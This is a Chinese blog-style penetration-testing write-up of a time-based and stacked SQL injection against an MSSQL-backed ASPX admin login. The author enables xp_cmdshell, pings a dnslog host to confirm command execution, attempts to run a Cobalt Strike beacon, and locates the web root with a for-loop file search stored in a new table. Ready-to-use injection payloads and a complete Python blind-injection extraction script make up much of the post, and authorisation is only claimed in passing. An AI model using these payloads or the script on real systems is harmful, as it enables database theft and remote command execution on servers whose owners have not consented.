一次另类的mssql渗透之路

0x00 前言

事情的原因是一位老哥叫我帮他打一个站点,于是就有了这篇文章

0x01 总体思绪

发现mssql注入->上cs->失败

经过mssql注入->拿数据->解密失败->进后台无望

最终想到了:

xp_cmdshell->经过cmd中for循环找网站绝对途径->经过unicode编码读取中文->创立表存储unicode编码->读取出网站绝对途径->上网站马->getshell

0x02 浸透进程

2022.4.15

首先拿到站点肯定是要停止目录扫描,这里也是胜利的扫到了后台目录。由于站点是aspx的,所以特意在后台登录处尝试了一下sql注入,果真这里还是存在注入点的
图片[1]-一次另类的mssql渗透之路-孤勇者社区
原本想直接拿sqlmap跑的,但是没想到sqlmap把站点跑崩了,给我吓的这下。幸亏受权
图片[2]-一次另类的mssql渗透之路-孤勇者社区
只能手注了,关于mssql,最快拿shell的方法就是经过xp_cmdshell上传cs马。首先判别能否为sa权限
admin';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:5';--
胜利延时,sa权限起飞
图片[3]-一次另类的mssql渗透之路-孤勇者社区
于是我迫不急待的掏出我的cs大宝贝,开端上马流程。
上马前当然要判别能否开启了xp_cmdshell,没有开启的话给它开启一下

if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'--   #判别能否开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;    #开启xp_cmdshell

经过ping dnslog来判别能否开启胜利,接纳到信息阐明开启了xp_cmdshell
admin';exec%20master..xp_cmdshell 'ping nineone1.c704b904.dns.1433.eu.org.';--
图片[4]-一次另类的mssql渗透之路-孤勇者社区
之后就是上传cs马子,由于上线cs马的payload有单引号的缘由会招致语句执行失败,所以我们需求将其停止base64编码再上传。运用https://www.yster.live/runtime-exec-payloads/停止base64编码
图片[5]-一次另类的mssql渗透之路-孤勇者社区
图片[6]-一次另类的mssql渗透之路-孤勇者社区
然后我就开端吃包辣条等着cs上线。吃着吃着一包辣条都要吃完了,还是没有上线。没心情吃了。赶紧看下是不是哪里出了问题。本地复现一遍没有问题。这时分想到了可能是杀软将cs马杀掉了。没方法了,菜鸡又不会做cs的免杀马。尝试下注入数据进后台吧。这里由于sqlmap跑不了,于是就本人写了个脚本获取数据,最终也是拿到了数据,但是无法对方管理员平安认识高,招致密码破解时破解不出。

合理我一筹莫展时,想到了可不能够上传一个aspx马子,aspx马我有免杀啊。但是想要经过aspx马getshell首先得晓得网站途径。用力往网站报错,都没有看到报错途径。没方法了,明天再来搞吧

2022.4.16

第二天的时分正好温习了一下linux根底命令,忽然想到inux中有着find命令找文件得绝对途径,那么windows中是不是也有相应得命令。百度一下果真有,能够经过for循环来找文件得绝对途径
在windows中运转for /r "C:\" %i in (test.bmp*) do @echo %i
ps:*表示精准匹配(猜的),假如不加*会有一大堆渣滓数据
图片[7]-一次另类的mssql渗透之路-孤勇者社区
那么我们得思绪就来了,能够先在网站上找一个上传点,然后上传图片,这时分图片被重名之后,此效劳器上就只要这一个图片。能够经过for循环遍历找这个图片,得到网站绝对途径。但是没有回显,真是个很烧脑得问题。中午吃饭得时分,忽然想到,我能够经过创立一个表将图片途径保管到这个表中,然后再去读取这个表。那么我就能够得到网站得途径了!!!
说干就干,先创立一个表。在后面添加一个延时得作用是能够经过延时来判别表能否被创立胜利。
admin';create table path(pathh varchar(100)) waitfor delay'0:0:5';--
图片[8]-一次另类的mssql渗透之路-孤勇者社区
接着就是将图片绝对途径插入表中,这里经过延时也是能够看出数据被插了进去

admin';insert into path(pathh) exec master..xp_cmdshell 'for /r "C:\" %i in (165009984088945243.bmp*) do @echo %i'waitfor delay '0:0:5';--

图片[9]-一次另类的mssql渗透之路-孤勇者社区
为了激进起见,考证了一下能否真的胜利,能够看到这里胜利写入了数据
admin';if (select COUNT(*)from path)>0 waitfor delay '0:0:5';--
图片[10]-一次另类的mssql渗透之路-孤勇者社区
然后就是用本人写的脚原本跑path表中pathh字段得数据。就在我以为能够拿到绝对途径,离胜利不远的时分,麻了却果没有跑出来。跑出来得结果如下:
图片[11]-一次另类的mssql渗透之路-孤勇者社区
想了一会,为什么有几个未知字符呢。认真看了一会代码,代码没有问题啊。百思不得其解时,看了一会ascii表,忽然想到会不会这两个字符是中文字符,所以用ascii码跑不出来。懂了,是这么个道理。然后开端查找mssql能表示中文得函数,找到了unicode编码,就能够用来表示中文
图片[12]-一次另类的mssql渗透之路-孤勇者社区
然后就当我开端兴高采烈开端写脚本的时分,忽然认识到中文???,中文这么多,怎样可能跑的完,二分法??那也要跑很久,跑起来也太难了不是。跑到海枯石烂,跑到天荒地老,跑到女朋友嫁给别的男人。。。
头大,今天收工了,明天再来吧。

2022.4.17

昨晚睡觉得时分真实睡不着,想了一晚,终于给我想到了。既然网站有堆叠注入,那么我能否能够执行语句经过substring函数将途径中汉字的unincode编码保管到另外一个表中,然后我再单独读取这个表的数据,这样我就能拿到汉字得unicode编码。然后再解码一下就能够了
在本地测试一下语句,这里declare是定义变量自得思
图片[13]-一次另类的mssql渗透之路-孤勇者社区
接着我们继续打这个站
首先再创立一个表,用来存储汉字得unicode编码
x admin';create table Cn(unicode varchar(100)) waitfor delay'0:0:5';--
图片[14]-一次另类的mssql渗透之路-孤勇者社区
然后再跑脚本。这里贴上脚本

import requests
import sys
import time
host="http://www.xxx.com/adminxxx/login.aspx"
def write_Unicode():
    global host
    proxies ={"http":"http://127.0.0.1:8888"}
    ans=''
    headers={
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"
    }
    for i in range(1,1000):
        print('guess'+str(i))
        for ch in range(32,129):
            if ch==128:
                #sys.exit(0)
                username="admin';declare @a varchar(100);declare @b varchar(100);select @a=(select top 1 pathh from path);select @b=(select unicode(substring(@a,%d,1)));insert into Cn(unicode) values(@b)waitfor delay '0:0:2'--"%(i)
                data={'username':username,'password':'123456'}

                ans+='?'
                html=requests.post(host,timeout=4.5,data=data,headers=headers,proxies=proxies)
                break
            #username="admin';if ascii(SUBSTRING((select top 1 pathh from path),%d,1))=%d waitfor delay'0:0:5';--"%(i,ch)
            username="admin';if ascii(SUBSTRING((select top 1 unicode from Cn),%d,1))=%d waitfor delay'0:0:5';--"%(i,ch)
            data={'username':username,'password':'123456'}
            print(username)

            try:
                html=requests.post(host,timeout=4.5,data=data,headers=headers,proxies=proxies)
                #time.sleep(1)
            except:
                ans+=chr(ch)
                print("data ->"+ans)
                break
#dumpData_En()
write_Unicode()
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞12赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像杨后0